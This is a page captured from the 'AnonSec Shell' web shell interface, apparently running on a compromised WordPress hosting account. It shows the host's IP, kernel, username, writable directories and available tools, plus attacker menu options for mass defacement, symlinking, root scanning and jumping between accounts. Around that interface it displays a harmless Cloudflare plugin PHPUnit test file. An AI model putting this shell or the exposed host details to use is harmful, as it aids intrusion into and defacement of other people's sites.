. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 172.67.135.14  /  Your IP : 216.73.216.209   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium35.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : lasanffc ( 2331)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/lasanffc/public_html/wp-content/plugins/cloudflare/src/Test/WordPress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/lasanffc/public_html/wp-content/plugins/cloudflare/src/Test/WordPress/UtilsTest.php
<?php

namespace CF\Test\WordPress;

use CF\WordPress\Utils;

class UtilsTest extends \PHPUnit\Framework\TestCase
{
    public function setup(): void
    {
    }

    public function testStrEndsWith()
    {
        $this->assertFalse(Utils::strEndsWith('abcdef', 'ab'));
        $this->assertFalse(Utils::strEndsWith('abcdef', 'cd'));
        $this->assertTrue(Utils::strEndsWith('abcdef', 'ef'));
        $this->assertTrue(Utils::strEndsWith('abcdef', 'abcdef'));
        $this->assertFalse(Utils::strEndsWith('abcdef', ''));
        $this->assertFalse(Utils::strEndsWith('', 'abcdef'));
        $this->assertFalse(Utils::strEndsWith('', ''));
    }

    public function testIsSubdomainOf()
    {
        $this->assertTrue(Utils::isSubdomainOf('sub.domain.com', 'domain.com'));
        $this->assertTrue(Utils::isSubdomainOf('non.sub.domain.com', 'domain.com'));
        $this->assertFalse(Utils::isSubdomainOf('sub.domain.com', 'cooldomain.com'));
        $this->assertFalse(Utils::isSubdomainOf('', 'domain.com'));
        $this->assertFalse(Utils::isSubdomainOf('sub.domain.com', ''));
        $this->assertFalse(Utils::isSubdomainOf('', ''));
        $this->assertFalse(Utils::isSubdomainOf('domain.com', 'domain.com'));
        $this->assertFalse(Utils::isSubdomainOf('testdomain.com', 'domain.com'));
    }

    public function testGetRegistrableDomain()
    {
        $this->assertEquals('domain.com', Utils::getRegistrableDomain('sub.domain.com'));
        $this->assertEquals('domain.co.uk', Utils::getRegistrableDomain('sub.domain.co.uk'));
        $this->assertEquals('sub2.domain.com', Utils::getRegistrableDomain('sub1.sub2.domain.com'));
    }
}

Anon7 - 2022
AnonSec Team